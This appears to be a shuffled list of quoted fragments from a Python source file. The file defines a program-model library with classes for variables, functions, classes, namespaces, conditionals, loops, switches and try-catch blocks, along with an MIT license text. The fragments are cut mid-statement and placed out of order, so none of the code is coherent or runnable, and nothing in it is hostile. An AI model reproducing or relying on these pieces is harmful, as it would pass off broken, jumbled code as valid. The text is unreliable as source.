statement.scope = self.body def _children(self): \"\"\"Yield all", "name) def __str__(self): \"\"\"Return a string representation of this object.\"\"\"", "{}):\\n'.format(spaces, v, condition, i) pretty += self.body.pretty_str(indent=indent + 2) return", "self.increment.pretty_str(indent=1) if self.increment else '' pretty = '{}for ({}; {};", "representation of this object.\"\"\" return '[{}] {}'.format(self.result, self.name) class SomeValue(CodeExpression):", "indent) + '[empty]' def __repr__(self): \"\"\"Return a string representation of", "def get_branches(self): \"\"\"Return a list of branches, where each branch", "self.CodeCatchBlock) self.catches.append(catch_block) def _set_finally_body(self, body): \"\"\"Set the finally body for", "code block (e.g. `{}` in C, C++, Java, etc.). Blocks", ">= -n: if i >= o - n: return self.else_body.statement(i)", "body): \"\"\"Set the main body of the catch block.\"\"\" assert", "codeobj in self.else_body._children(): yield codeobj def pretty_str(self, indent=0): \"\"\"Return a", "to this switch.\"\"\" self.cases.append((value, statement)) def _add_default_branch(self, statement): \"\"\"Add a", "and, as such, assignment operators are included here. An operator", "length of a statement group, and provides methods for integer-based", "line, col, name, result, spell) def __str__(self): \"\"\"Return a string", "if self.parenthesis: return '{}({})'.format(' ' * indent, pretty_str(self.value)) return pretty_str(self.value,", "of a program. The global scope is the root object", "superclasses = ', '.join(self.superclasses) pretty += '(' + superclasses +", "[] def _add(self, codeobj): \"\"\"Add a child (namespace, function, variable,", "NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, #FITNESS FOR A", "name): \"\"\"Constructor for namespaces. Args: scope (CodeEntity): The program scope", "of the variable in the program. result (str): The type", "also have an associated value (e.g. `return 0`). \"\"\" def", "CodeStatement) or (isinstance(self.scope, CodeFunction) and self not in self.scope.parameters)) @property", "self.name, params) if self._definition is not self: pretty += spaces", "class typically has a name, an unique `id`, a list", "#Permission is hereby granted, free of charge, to any person", "function where this expression occurs.\"\"\" return self._lookup_parent(CodeFunction) @property def statement(self):", "scope, parent, None, 'null', paren) def _children(self): \"\"\"Yield all the", "implicit in some contexts, e.g. an `if` statement omitting curly", "directly under the program's global scope or a namespace. \"\"\"", "Kwargs: paren (bool): Whether the null literal is enclosed in", "(int, long, float, bool, basestring, CodeLiteral) class CodeNull(CodeLiteral): \"\"\"This class", "self.body.statement(i - o + n) raise IndexError('statement index out of", "the function in a function call) and a type (`result`).", "are instances of a given class. Args: cls (class): The", "(bool): Whether the literal is enclosed in parentheses. \"\"\" try:", "if self.method_of: return '[{}] {}.{}({})'.format(self.result, self.method_of.name, self.name, args) return '[{}]", "assert isinstance(codeobj, CodeVariable) self.variables.append(codeobj) def _children(self): \"\"\"Yield all direct children", "CodeStatement.__init__(self, scope, parent) self.name = name self.value = None def", "block in self.catches: pretty += '\\n' + block.pretty_str(indent) if len(self.finally_body)", "return '{}{}'.format(indent, values) def __repr__(self): \"\"\"Return a string representation of", "CodeBlock): self.body = body else: self.body._add(body) def _children(self): \"\"\"Yield all", "function(self): \"\"\"The function where this statement appears in.\"\"\" return self._lookup_parent(CodeFunction)", "HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER #LIABILITY,", "the length of all blocks combined.\"\"\" n = len(self.body) +", "exception message. o = len(self.body) n = o + len(self.else_body)", "types not present in Python. This class is meant to", "Java, consider this special kind of statement for declaring variables", "------------------------------------------------------- class CodeVariable(CodeEntity): \"\"\"This class represents a program variable. A", "a string representation of this object.\"\"\" return '[class {}]'.format(self.name) class", "representation of this object.\"\"\" return '[namespace {}]'.format(self.name) class CodeGlobalScope(CodeEntity): \"\"\"This", "return self.else_body.statement(i) return self.body.statement(i - o + n) raise IndexError('statement", "__getitem__(self, i): \"\"\"Return the *i*-th statement from the object's `body`.\"\"\"", "self.variables) def __repr__(self): \"\"\"Return a string representation of this object.\"\"\"", "' * indent return spaces + ', '.join(v.pretty_str() for v", "class represents a program variable. A variable typically has a", "cls): codeobj = codeobj.parent return codeobj def pretty_str(self, indent=0): \"\"\"Return", "this software and associated documentation files (the \"Software\"), to deal", "a default argument. Some languages, such as C++, allow function", "self.arguments + (codeobj,) def _children(self): \"\"\"Yield all direct children of", "enclosed in parentheses. \"\"\" try: value = list(value) except TypeError", "the main body for try block structure.\"\"\" assert isinstance(body, CodeBlock)", "raise IndexError('statement index out of range') def statement_after(self, i): \"\"\"Return", "= scope self.parent = parent self.file = None self.line =", "in parentheses. \"\"\" CodeLiteral.__init__(self, scope, parent, None, 'null', paren) def", "__init__(self, scope, parent, result, value=(), paren=False): \"\"\"Constructor for a compound", "has no children, and thus should return # an empty", "program tree. Kwargs: paren (bool): Whether the null literal is", "k < o: return self.body.statement(k) if k > o and", "self.body = CodeBlock(scope, self, explicit=True) self.catches = [] self.finally_body =", "the program's global scope or a namespace. \"\"\" return isinstance(self.scope,", "\"\"\"Return a string representation of this object.\"\"\" return '[{}] {{{}}}'.format(self.result,", "is #furnished to do so, subject to the following conditions:", "the children of this object, that is no children. This", "instead. Args: scope (CodeEntity): The program scope where this object", "within a try-catch block.\"\"\" def __init__(self, scope, parent): \"\"\"Constructor for", "be implicit in some contexts, e.g. an `if` statement omitting", "a literal whose type is not numeric, string or boolean,", "def is_binary(self): \"\"\"Whether this is a binary operator.\"\"\" return len(self.arguments)", "def _afterpass(self): \"\"\"Assign the `member_of` of child members and call", "tree. Kwargs: explicit (bool): Whether the block is explicit in", "lackluster. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor for switches. Args:", "Programming languages often define diverse types of statements (e.g. return", "a string representation of this object.\"\"\" return '[{}] {{{}}}'.format(self.result, ',", "* indent return spaces + ', '.join(v.pretty_str() for v in", "the object's `body`.\"\"\" return self.body.statement(i) def statement_after(self, i): \"\"\"Return the", "if self.parenthesis: return (' ' * indent) + '(' +", "\"\"\" CodeEntity.__init__(self, scope, parent) self.id = id self.name = name", "in source() if isinstance(codeobj, cls) ] def _afterpass(self): \"\"\"Finalizes the", "self.body @property def else_branch(self): \"\"\"The default branch of the conditional.\"\"\"", "statements on their own. A common example is the assignment", "of this object.\"\"\" return '[{}] {{{}}}'.format(self.result, ', '.join(map(repr, self.value))) class", "this object.\"\"\" if self.method_of: yield self.method_of for codeobj in self.arguments:", "meant to be instantiated directly, only used for inheritance purposes.", "whose value is compound, rather than simple. An example present", "and *else* branches were concatenated, for indexing purposes. \"\"\" #", "tree. id: An unique identifier for this variable. name (str):", "of `None`. \"\"\" def __init__(self, scope, parent, id, name, result):", "None def get_branches(self): \"\"\"Return a list with the conditional branch", "self.catches, self.finally_body) def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation", "= True self.body = CodeBlock(scope, self, explicit=False) def get_branches(self): \"\"\"Return", "object.\"\"\" return str(self.variables) class CodeControlFlow(CodeStatement, CodeStatementGroup): \"\"\"Base class for control", "= self if definition else None @property def is_definition(self): \"\"\"Whether", "In some cases, it may also have an associated value", "def filter(self, cls, recursive=False): \"\"\"Retrieves all descendants (including self) that", "null references, C/C++ NULL pointers, Python None and so on.", "a branch/case (value and statement) to this switch.\"\"\" self.cases.append((value, statement))", "None self.column = None def walk_preorder(self): \"\"\"Iterates the program tree", "' * indent, pretty_str(self.value)) return pretty_str(self.value, indent=indent) def __repr__(self): \"\"\"Return", "def __init__(self, scope, parent, explicit=True): \"\"\"Constructor for code blocks. Args:", "a string representation of this object.\"\"\" return '[unknown]' class CodeStatementGroup(object):", "string representation of this object.\"\"\" if self.field_of: return '[{}] ({}).{}'.format(self.result,", "block that is executed after the other blocks (either the", "CodeExpression.__init__(self, scope, parent, name, result, paren) self.field_of = None self.reference", "the called function. If a call references a class method,", "= name self.children = [] def _add(self, codeobj): \"\"\"Add a", "== 3 @property def is_assignment(self): \"\"\"Whether this is an assignment", "Python None and so on. \"\"\" def __init__(self, scope, parent,", "languages are list literals, often constructed as `[1, 2, 3]`.", "the statement after the *i*-th one, or `None`.\"\"\" try: return", "on its own, but also returns a value when contained", "body def _add_catch(self, catch_block): \"\"\"Add a catch block (exception variable", "switch.\"\"\" self.cases.append((value, statement)) def _add_default_branch(self, statement): \"\"\"Add a default branch", "or just a declaration.\"\"\" return self._definition is self @property def", "a copy #of this software and associated documentation files (the", "and register write operations to variables. This should only be", "\"\"\" CodeStatement.__init__(self, scope, parent) self.name = name self.condition = True", "CodeEntity): return something.pretty_str(indent=indent) else: return (' ' * indent) +", "the `_afterpass()` of child objects. This should only be called", "program. result (str): The return type of the operator in", "also allow a `finally` block that is executed after the", "def __getitem__(self, i): \"\"\"Return the *i*-th statement from the object's", "pair of condition and respective body.\"\"\" return [(self.condition, self.body)] def", "pretty_str(self.arguments[1])) return pretty.format(indent, operator) def __repr__(self): \"\"\"Return a string representation", "= CodeBlock(scope, self, explicit=False) def get_branches(self): \"\"\"Return a list of", "CodeVariable): var.writes.append(codeobj) def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation", "+= 1 if isinstance(codeobj, CodeOperator) and codeobj.is_assignment: if codeobj.arguments and", "this statement appears in.\"\"\" return self._lookup_parent(CodeFunction) class CodeJumpStatement(CodeStatement): \"\"\"This class", "(str): The return type of the function in the program.", "of the argument in the program. \"\"\" CodeExpression.__init__(self, scope, parent,", "direct children of this object.\"\"\" if isinstance(self.declarations, CodeStatement): yield self.declarations", "e: return None def __getitem__(self, i): \"\"\"Return the *i*-th statement", "a field/attribute of an object, `field_of` should be set to", "Some languages also support ternary operators. Do note that assignments", "The name of the namespace in the program. \"\"\" CodeEntity.__init__(self,", "= '{}({})' if self.parenthesis else '{}{}' args = ', '.join(map(pretty_str,", "\"\"\"Whether this is a function parameter.\"\"\" return (isinstance(self.scope, CodeFunction) and", "' * indent) + '(' + self.name + ')' return", "each branch is a pair of condition and respective body.\"\"\"", "blocks have a main body of statements, just like regular", "program statements together (e.g. functions, code blocks). It is not", "+ '(' + self.name + ')' return (' ' *", "flow branches and functions always have a block as their", "within a function. An operator typically has a name (its", "condition for this control flow structure.\"\"\" assert isinstance(condition, CodeExpression.TYPES) self.condition", "for control flow structures (e.g. `for` loops). Control flow statements", "such omitted arguments. A default argument has only a return", "to do so, subject to the following conditions: #The above", "self.declarations is None else self.declarations.pretty_str()) body = self.body.pretty_str(indent=indent + 2)", "\"\"\" spaces = ' ' * indent params = ',", "referenced entity is known, `reference` should be set. If the", "of this object.\"\"\" if isinstance(self.value, CodeExpression): yield self.value def pretty_str(self,", "* indent) + '(' + self.name + ')' return ('", "= (int, long, float, bool, basestring, CodeLiteral) class CodeNull(CodeLiteral): \"\"\"This", "to use as indentation. \"\"\" if self.parenthesis: return '{}({})'.format(' '", "contained within a function. An operator typically has a name", "CodeExpression): yield self.condition for codeobj in self.body._children(): yield codeobj for", "is the root object of a program. If there are", "return self._lookup_parent(CodeFunction) @property def statement(self): \"\"\"The statement where this expression", "and this permission notice shall be included in #all copies", "return '{}{} {} = {}'.format(' ' * indent, self.result, self.name,", "IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,", "* indent condition = pretty_str(self.condition) v = self.declarations.pretty_str() if self.declarations", "self.declarations else '' i = self.increment.pretty_str(indent=1) if self.increment else ''", "of this object, that is no children.\"\"\" return iter(()) SomeValue.INTEGER", "is executed after the other blocks (either the `try` block,", "amount of spaces to use as indentation. \"\"\" return '\\n\\n'.join(", "languages also allow a `finally` block that is executed after", "referencing), and a return type. If the referenced entity is", "name self.result = result self.value = None self.member_of = None", "class for expressions within a program. Expressions can be of", "a parent object that should have some variable or collection", "isinstance(codeobj, CodeExpression) self.field_of = codeobj def _children(self): \"\"\"Yield all direct", "representation of this object. Kwargs: indent (int): The amount of", "[] @property def is_definition(self): return True @property def is_local(self): \"\"\"Whether", "for codeobj in self.children: codeobj._afterpass() def pretty_str(self, indent=0): \"\"\"Return a", "(CodeExpression|CodeExpression[]): This literal's value. result (str): The return type of", "@property def statement(self): \"\"\"The statement where this expression occurs.\"\"\" return", "' ({})'.format(self.result) if hasattr(self, 'result') else '' prefix = indent", "else: return (' ' * indent) + '[empty]' def __repr__(self):", "that does not have a `scope` or `parent`. \"\"\" def", "def is_constructor(self): \"\"\"Whether this function is a class constructor.\"\"\" return", "'try {} {} {}'.format(self.body, self.catches, self.finally_body) def pretty_str(self, indent=0): \"\"\"Return", "= [] self.default_case = None def _add_branch(self, value, statement): \"\"\"Add", "paren=False): \"\"\"Constructor for operators. Args: scope (CodeEntity): The program scope", "self.field_of, self.name) return '[{}] #{}'.format(self.result, self.name) class CodeOperator(CodeExpression): \"\"\"This class", "'try:\\n' pretty += self.body.pretty_str(indent=indent + 2) for block in self.catches:", "= self.declarations.pretty_str() if self.declarations else '' i = self.increment.pretty_str(indent=1) if", "reference typically has a name (of what it is referencing),", "return '[{}] {}({})'.format(self.result, self.name, args) class CodeDefaultArgument(CodeExpression): \"\"\"This class represents", "all direct children of this object.\"\"\" if self.method_of: yield self.method_of", "name of the function in the program. result (str): The", "of program statements (as if using a list). \"\"\" def", "the program tree. value (iterable): The initial value sequence in", "self.references = [] self.writes = [] @property def is_definition(self): return", "+ block.pretty_str(indent) if len(self.finally_body) > 0: pretty += '\\n{}finally:\\n'.format(spaces) pretty", "= o + len(self.else_body) if i >= 0 and i", "= [] def _add(self, codeobj): \"\"\"Add a child (namespace, function,", "string representation of this object. Kwargs: indent (int): The amount", "parentheses. \"\"\" def __init__(self, scope, parent, result, value=(), paren=False): \"\"\"Constructor", "as indentation. \"\"\" indent = ' ' * indent if", "a list of statements that write new values to the", "`for` variables).\"\"\" assert isinstance(declarations, CodeStatement) self.declarations = declarations declarations.scope =", "return fi = 0 for codeobj in self.walk_preorder(): codeobj._fi =", "class is meant to provide common utility methods for objects", "' ' * indent params = ', '.join(map(lambda p: p.result", "not in self.scope.parameters)) @property def is_global(self): \"\"\"Whether this is a", "i < 0 and i >= -n: if i >=", "the program tree. \"\"\" CodeControlFlow.__init__(self, scope, parent, \"switch\") self.cases =", "body of the catch block.\"\"\" assert isinstance(body, CodeBlock) self.body =", "statement appears in.\"\"\" return self._lookup_parent(CodeFunction) class CodeJumpStatement(CodeStatement): \"\"\"This class represents", "for null literals. Args: scope (CodeEntity): The program scope where", "literal is any type of literal whose value is compound,", "the main body of the catch block.\"\"\" assert isinstance(body, CodeBlock)", "is not None: return '{}{} {}'.format(indent, self.name, pretty_str(self.value)) return indent", "literals. As literals have no name, a constant string is", "= body def _children(self): \"\"\"Yield all direct children of this", "def __init__(self, result): \"\"\"Constructor for unknown values.\"\"\" CodeExpression.__init__(self, None, None,", "_children(self): \"\"\"Yield all direct children of this object.\"\"\" if isinstance(self.expression,", "def __init__(self, scope, parent, id_, name, definition=True): \"\"\"Constructor for classes.", "list of references. If a class is defined within another", "isinstance(statement, CodeStatement) self.increment = statement statement.scope = self.body def _children(self):", "= '{}({})'.format(self.name, args) return pretty.format(indent, call) def __repr__(self): \"\"\"Return a", "(CodeEntity): This object's parent in the program tree. \"\"\" self.scope", "enclosed in parentheses. \"\"\" CodeExpression.__init__(self, scope, parent, name, result, paren)", "while the condition holds. \"\"\" def __init__(self, scope, parent, name):", "self.method_of = codeobj def _children(self): \"\"\"Yield all direct children of", "with the conditional branch and the default branch.\"\"\" if self.else_branch:", "the children of this object, that is no children.\"\"\" return", "typically has a name (e.g. the name of the function", "def _set_body(self, body): \"\"\"Set the main body of the catch", "_children(self): \"\"\"Yield all direct children of this object.\"\"\" # The", "branches, or default branches (executed when no condition is met).", "or Java, consider this special kind of statement for declaring", "of this object.\"\"\" # The default implementation has no children,", "self.body[i] def _add(self, codeobj): \"\"\"Add a child (statement) to this", "name (str): The name of the statement in the program.", "is defined within another class (inner class), it should have", "variable is not one of the function's parameters. \"\"\" return", "for function calls. Args: scope (CodeEntity): The program scope where", "a child (argument) to this object.\"\"\" assert isinstance(codeobj, CodeExpression.TYPES) self.arguments", "'literal', result, paren) self.value = value def pretty_str(self, indent=0): \"\"\"Return", "copies or substantial portions of the Software. #THE SOFTWARE IS", "in self.arguments: if isinstance(codeobj, CodeExpression): yield codeobj def pretty_str(self, indent=0):", "self.children) return pretty def __repr__(self): \"\"\"Return a string representation of", "from the object's `body`.\"\"\" return self.body.statement(i) def statement_after(self, i): \"\"\"Return", "indent pretty = '{}({})' if self.parenthesis else '{}{}' args =", "spelling]') result = ' ({})'.format(self.result) if hasattr(self, 'result') else ''", "and a type (`result`), and could be enclosed in parentheses.", "a function call) and a type (`result`). Also, an expression", "but less explicit in many others. In Python, the closest", "return self._lookup_parent(CodeStatement) def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation", "tree. name (str): The name of the reference in the", "in C, C++, Java, etc. This model assumes that control", "te: raise AssertionError(str(te)) CodeLiteral.__init__(self, scope, parent, value, result, paren) @property", "from CodeLiteral just for consistency with the class hierarchy. It", "type of the function in the program. \"\"\" CodeEntity.__init__(self, scope,", "'{}{} {}({}):\\n'.format(spaces, self.result, self.name, params) if self._definition is not self:", "(e.g. `for` variables).\"\"\" assert isinstance(declarations, CodeStatement) self.declarations = declarations declarations.scope", "CodeStatementGroup): \"\"\"This class represents a try-catch block statement. `try` blocks", "declarations.scope = self.body def _set_increment(self, statement): \"\"\"Set the increment statement", "\"\"\" def __init__(self, scope, parent, result): \"\"\"Constructor for default arguments.", "spaces = ' ' * indent pretty = '{}({})' if", "self.else_branch] return [self.then_branch] def _add_default_branch(self, body): \"\"\"Add a default body", "the sequence in this composition.\"\"\" self.value.append(child) def _children(self): \"\"\"Yield all", "o - n: return self.else_body.statement(k) return None def get_branches(self): \"\"\"Return", "def else_branch(self): \"\"\"The default branch of the conditional.\"\"\" return True,", "is enclosed in parentheses. \"\"\" CodeLiteral.__init__(self, scope, parent, None, 'null',", "it. If a function is a method of some class,", "'{}{}' name = ('{}.{}'.format(self.field_of.pretty_str(), self.name) if self.field_of else self.name) return", "object.\"\"\" return '[class {}]'.format(self.name) class CodeNamespace(CodeEntity): \"\"\"This class represents a", "variable. In general, a variable is *global* if it is", "(a code block). It also has an unique `id` that", "Python literals are used for those. A literal has a", "FROM, #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR", "i < n: if i < o: return self.body.statement(i) return", "return self.else_body.statement(k) return None def get_branches(self): \"\"\"Return a list with", "\"\"\"Add a child (function, variable, class) to this object.\"\"\" assert", "return repr(self.expression) class CodeBlock(CodeStatement, CodeStatementGroup): \"\"\"This class represents a code", "3 @property def is_assignment(self): \"\"\"Whether this is an assignment operator.\"\"\"", "of this object.\"\"\" for codeobj in self.children: yield codeobj def", "control flow statement typically has a name. \"\"\" def __init__(self,", "\"\"\" CodeControlFlow.__init__(self, scope, parent, \"switch\") self.cases = [] self.default_case =", "n = o + len(self.else_body) if i >= 0 and", "children of this object.\"\"\" for codeobj in self.body: yield codeobj", "scope, parent) self.expression = expression def _children(self): \"\"\"Yield all direct", "of the function in the program. result (str): The return", "isinstance(codeobj, CodeExpression): yield codeobj def pretty_str(self, indent=0): \"\"\"Return a human-readable", "indentation. \"\"\" indent = ' ' * indent pretty =", "for c in self.children) return pretty def __repr__(self): \"\"\"Return a", "control flow structures (e.g. `for` loops). Control flow statements are", "sequence of values that compose it (`values`), a type (`result`),", "= result self.parenthesis = paren @property def function(self): \"\"\"The function", "return len(self.arguments) == 1 @property def is_binary(self): \"\"\"Whether this is", "literal whose type is not numeric, string or boolean, as", "The return type of the literal in the program. Kwargs:", "#{}'.format(self.result, self.name) class CodeOperator(CodeExpression): \"\"\"This class represents an operator expression", "assert isinstance(body, CodeStatement) if isinstance(body, CodeBlock): self.body = body else:", "a child (namespace, function, variable, class) to this object.\"\"\" assert", "\"\"\"Base class for control flow structures (e.g. `for` loops). Control", "def __init__(self, scope, parent): \"\"\"Constructor for conditionals. Args: scope (CodeEntity):", "child (value) to this object.\"\"\" assert isinstance(codeobj, CodeExpression.TYPES) self.value =", "', '.join(map(repr, self.value))) class CodeReference(CodeExpression): \"\"\"This class represents a reference", "parentheses. \"\"\" CodeExpression.__init__(self, scope, parent, name, result, paren) self.full_name =", "= codeobj.arguments[0].reference if isinstance(var, CodeVariable): var.writes.append(codeobj) def pretty_str(self, indent=0): \"\"\"Return", "pretty += self.body.pretty_str(indent + 2) return pretty def __repr__(self): \"\"\"Return", "of a code entity.\"\"\" pass def _validity_check(self): \"\"\"Check whether this", "to this catch block.\"\"\" assert isinstance(declarations, CodeStatement) self.declarations = declarations", "tree. \"\"\" CodeStatement.__init__(self, scope, parent) self.body = CodeBlock(scope, self, explicit=True)", "expression in the program. Kwargs: paren (bool): Whether the expression", "self.condition, self.body @property def else_branch(self): \"\"\"The default branch of the", "not numeric, string or boolean, as bare Python literals are", "codeobj in self.members: yield codeobj def _afterpass(self): \"\"\"Assign the `member_of`", "\"\"\"Return the *i*-th statement from the object's `body`.\"\"\" return self.statement(i)", "block structure. \"\"\" assert isinstance(catch_block, self.CodeCatchBlock) self.catches.append(catch_block) def _set_finally_body(self, body):", "all direct children of this object.\"\"\" if isinstance(self.expression, CodeExpression): yield", "scope, parent): \"\"\"Constructor for try block structures. Args: scope (CodeEntity):", "if self.increment else '' pretty = '{}for ({}; {}; {}):\\n'.format(spaces,", "len(self.arguments) == 1 @property def is_binary(self): \"\"\"Whether this is a", "CodeExpression) CodeExpression.LITERALS = (int, long, float, bool, basestring, CodeLiteral) class", "The initial value sequence in this composition. result (str): The", "the class hierarchy. It should have no children, thus an", "not present in Python. This class is meant to represent", "closest thing should be a module. In Java, it may", "indent params = ', '.join(map(lambda p: p.result + ' '", "parent, name): \"\"\"Constructor for control flow structures. Args: scope (CodeEntity):", "[declaration]' else: pretty += self.body.pretty_str(indent + 2) return pretty def", "object.\"\"\" return 'catch ({}) {}'.format(self.declarations, self.body) def pretty_str(self, indent=0): \"\"\"Return", "unique `id` that identifies it in the program and a", "len(self.finally_body) n += sum(map(len, self.catches)) return n def __repr__(self): \"\"\"Return", "IN #THE SOFTWARE. ############################################################################### # Language Model ############################################################################### class CodeEntity(object):", "self.name = name self.value = None def _add(self, codeobj): \"\"\"Add", "the global scope of a program. The global scope is", "parent in the program tree. value (iterable): The initial value", "type. If the referenced entity is known, `reference` should be", "has a name, a return type (`result`), a list of", "code. \"\"\" CodeStatement.__init__(self, scope, parent) self.body = [] self.explicit =", "result self.value = None self.member_of = None self.references = []", "i >= -n: if i >= o - n: return", "indent return spaces + ', '.join(v.pretty_str() for v in self.variables)", "_children(self): \"\"\"Yield all direct children of this object.\"\"\" for codeobj", "combined.\"\"\" n = len(self.body) + len(self.catches) + len(self.finally_body) n +=", "a name (of what it is referencing), and a return", "object on which a method is being called. \"\"\" def", "(e.g. `for` loops). Control flow statements are assumed to have,", "CodeFunction) and self in self.scope.parameters) @property def is_member(self): \"\"\"Whether this", "self @property def is_constructor(self): \"\"\"Whether this function is a class", "in the program tree. Kwargs: expression (CodeExpression): The expression of", "{}'.format(self.name, self.get_branches()) class CodeConditional(CodeControlFlow): \"\"\"This class represents a conditional (`if`).", "def is_definition(self): return True @property def is_local(self): \"\"\"Whether this is", "self.name, self.value) class CodeFunction(CodeEntity, CodeStatementGroup): \"\"\"This class represents a program", "\"\"\" CodeLiteral.__init__(self, scope, parent, None, 'null', paren) def _children(self): \"\"\"Yield", "col, name, result, spell) def __str__(self): \"\"\"Return a string representation", "self.body._children(): yield codeobj def __repr__(self): \"\"\"Return a string representation of", "\"*\", \"/\", \"%\", \"<\", \">\", \"<=\", \">=\", \"==\", \"!=\", \"&&\",", "this object.\"\"\" for codeobj in self.arguments: if isinstance(codeobj, CodeExpression): yield", "__init__(self, scope, parent, paren=False): \"\"\"Constructor for null literals. Args: scope", "def get_branches(self): \"\"\"Return a list with the conditional branch and", "Common Entities ------------------------------------------------------- class CodeVariable(CodeEntity): \"\"\"This class represents a program", "as an increment statement. A loop has only a single", "of statements that write new values to the variable. If", "`CodeEntity` and `repr` otherwise. Args: something: Some value to convert.", "\"\"\" spaces = ' ' * indent pretty = '{}namespace", "' ' * indent pretty = '{}namespace {}:\\n'.format(spaces, self.name) pretty", "programming languages have their own version of this concept: Java", "is a class constructor.\"\"\" return self.member_of is not None def", "not one of the function's parameters. \"\"\" return (isinstance(self.scope, CodeStatement)", "'(' + self.name + ')' return (' ' * indent)", "to define local declarations, as well as an increment statement.", "name (of what it is referencing), and a return type.", "`condition`) and then declares at least one branch (*cases*) that", "= getattr(self, 'name', '[no spelling]') result = ' ({})'.format(self.result) if", "number, a programming scope (e.g. the function or code block", "This class provides common functionality for such statements. In many", "if k < o: return self.body.statement(k) if k > o", "the program. \"\"\" CodeEntity.__init__(self, scope, parent) self.name = name self.children", "a global variable. In general, a variable is *global* if", "Kwargs: paren (bool): Whether the literal is enclosed in parentheses.", "')' return (' ' * indent) + self.name def __repr__(self):", "if using a list). \"\"\" def statement(self, i): \"\"\"Return the", "\"\"\"Return a string representation of this object.\"\"\" return '[{}] {!r}'.format(self.result,", "self.value))) if self.parenthesis: return '{}({})'.format(indent, values) return '{}{}'.format(indent, values) def", "\"\"\"Return a string representation of this object.\"\"\" return '[{}] {}'.format(self.result,", "It also has an unique `id` that identifies it in", "def __init__(self, scope, parent): \"\"\"Constructor for switches. Args: scope (CodeEntity):", "indent = ' ' * indent pretty = '{}({})' if", "after the *i*-th one, or `None`.\"\"\" try: return self.statement(i +", "etc.). This class provides common functionality for such statements. In", "# Helpers ############################################################################### def pretty_str(something, indent=0): \"\"\"Return a human-readable string", "\"\"\"Constructor for references. Args: scope (CodeEntity): The program scope where", "scope, parent) self.id = id self.name = name self.result =", "block.pretty_str(indent) if len(self.finally_body) > 0: pretty += '\\n{}finally:\\n'.format(spaces) pretty +=", "+= self.body.pretty_str(indent=indent + 2) return pretty class CodeSwitch(CodeControlFlow): \"\"\"This class", "args) else: call = '{}({})'.format(self.name, args) return pretty.format(indent, call) def", "= self.parent while codeobj is not None and not isinstance(codeobj,", "self.name + ')' return (' ' * indent) + self.name", "name, result, paren=False): \"\"\"Constructor for function calls. Args: scope (CodeEntity):", "is compound, rather than simple. An example present in many", "\"\"\"The statement where this expression occurs.\"\"\" return self._lookup_parent(CodeStatement) def pretty_str(self,", "def _children(self): \"\"\"Yield all direct children of this object.\"\"\" #", "\"\"\"Yield all direct children of this object.\"\"\" # The default", "its `member_of` set to the corresponding class. \"\"\" def __init__(self,", "not self: pretty += spaces + ' [declaration]' else: pretty", "(iterable): The initial value sequence in this composition. result (str):", "scope, parent, id, name, result): \"\"\"Constructor for variables. Args: scope", "after the *i*-th one, or `None`.\"\"\" k = i +", "yield codeobj for codeobj in self.else_body._children(): yield codeobj def pretty_str(self,", "the conditional.\"\"\" return True, self.else_body def statement(self, i): \"\"\"Return the", "isinstance(codeobj, (CodeNamespace, CodeClass, CodeFunction, CodeVariable)) self.children.append(codeobj) def _children(self): \"\"\"Yield all", "function. If a call references a class method, its `method_of`", "its own, but also returns a value when contained within", "+ ')' return (' ' * indent) + self.name def", "often define diverse types of statements (e.g. return statements, control", "The name of the class in the program. \"\"\" CodeEntity.__init__(self,", "CodeControlFlow(CodeStatement, CodeStatementGroup): \"\"\"Base class for control flow structures (e.g. `for`", "assignment operators are included here. An operator typically has a", "[] self.member_of = None self.references = [] self._definition = self", "in languages such as C++, but less explicit in many", "return self.statement(i + 1) except IndexError as e: return None", "code entity.\"\"\" pass def _validity_check(self): \"\"\"Check whether this object is", "program variable. A variable typically has a name, a type", "indent decls = ('...' if self.declarations is None else self.declarations.pretty_str())", "Whether the block is explicit in the code. \"\"\" CodeStatement.__init__(self,", "({})'.format(self.result, self.name, self.value) class CodeFunction(CodeEntity, CodeStatementGroup): \"\"\"This class represents a", "codeobj._definition is None: codeobj._definition.member_of = self codeobj._afterpass() def pretty_str(self, indent=0):", "pretty = spaces + 'try:\\n' pretty += self.body.pretty_str(indent=indent + 2)", "CodeBlock(scope, self, explicit=False) def get_branches(self): \"\"\"Return a list of branches,", "\"||\", \"=\") def __init__(self, scope, parent, name, result, args=None, paren=False):", "class CodeExpressionStatement(CodeStatement): \"\"\"This class represents an expression statement. It is", "self.arguments = args or () @property def is_unary(self): \"\"\"Whether this", "pretty += '\\n{}finally:\\n'.format(spaces) pretty += self.finally_body.pretty_str(indent=indent + 2) return pretty", "amount of spaces to use as indentation. \"\"\" return ('", "def _add(self, codeobj): \"\"\"Add a child (variable) to this object.\"\"\"", "have no children, thus an empty iterator is returned. \"\"\"", "ANY KIND, EXPRESS OR #IMPLIED, INCLUDING BUT NOT LIMITED TO", "decls, body) return pretty ############################################################################### # Helpers ############################################################################### def pretty_str(something,", "result, paren=False): \"\"\"Constructor for references. Args: scope (CodeEntity): The program", "Args: scope (CodeEntity): The program scope where this object belongs.", "child members and call their `_afterpass()`. This should only be", "this object.\"\"\" if isinstance(self.condition, CodeExpression): yield self.condition for codeobj in", "#The above copyright notice and this permission notice shall be", "their own. A common example is the assignment operator, which", "the statement after the *i*-th one, or `None`.\"\"\" k =", "directly. An expression typically has a name (e.g. the name", "if i >= o - n: return self.else_body.statement(i) return self.body.statement(i", "of this object.\"\"\" if isinstance(self.condition, CodeExpression): yield self.condition for codeobj", "global scope or a namespace. \"\"\" return isinstance(self.scope, (CodeGlobalScope, CodeNamespace))", "\"=\" def _add(self, codeobj): \"\"\"Add a child (argument) to this", "CodeEntity.__init__(self, scope, parent) self.id = id_ self.name = name self.members", "def walk_preorder(self): \"\"\"Iterates the program tree starting from this object,", "for namespaces. Args: scope (CodeEntity): The program scope where this", "single branch, its condition plus the body that should be", "Many programming languages have their own version of this concept:", "from the object's `body`.\"\"\" return self.statement(i) def __len__(self): \"\"\"Return the", "instead of `None`. \"\"\" def __init__(self, scope, parent, id, name,", "representation of this object.\"\"\" return '#' + self.name def __repr__(self):", "__init__(self, scope, parent): \"\"\"Constructor for statements. Args: scope (CodeEntity): The", "for inheritance purposes. It defines the length of a statement", "+ ' [declaration]' else: pretty += 